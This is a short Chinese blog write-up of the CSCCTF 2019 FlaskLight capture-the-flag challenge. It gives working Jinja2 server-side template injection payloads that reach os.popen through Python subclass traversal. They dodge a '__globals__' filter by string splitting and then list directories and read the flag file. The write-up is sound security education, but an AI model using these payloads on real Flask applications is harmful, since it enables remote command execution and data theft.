Title

[CSCCTF 2019 Qual]FlaskLight 1|SSTI注入

1、打开之后查看源代码信息,发现提示信息,结果如下:

2、根据提示输入参数进行测试,payload:?search={{2*2}},结果如下:

3、确定了注入点之后那就获取下系统目录,payload:?search={{"".__class__.__mro__[2].__subclasses__()[71].__init__[%27__globals__%27][%27os%27].popen("ls").read()}},结果返回错误,结果如下:

4、猜测是过滤了__globals__,那就尝试拼接一下,payload:?search={{"".__class__.__mro__[2].__subclasses__()[71].__init__[%27__g%27+%27lobals__%27][%27os%27].popen("ls").read()}},成功获取到目录信息,结果如下:

5、读取下flasklight目录,payload:?search={{"".__class__.__mro__[2].__subclasses__()[71].__init__[%27__g%27+%27lobals__%27][%27os%27].popen("ls%20/flasklight").read()}},结果如下:

6、读取下coomme_geeeett_youur_flek(come_get_you_flag)文件,差点没看出来,payload:?search={{"".__class__.__mro__[2].__subclasses__()[71].__init__[%27__g%27+%27lobals__%27][%27os%27].popen("cat%20/flasklight/coomme_geeeett_youur_flek").read()}},成功获取到flag信息,结果如下:

posted @ 2022-08-25 11:12  upfine  阅读(127)  评论(0编辑  收藏  举报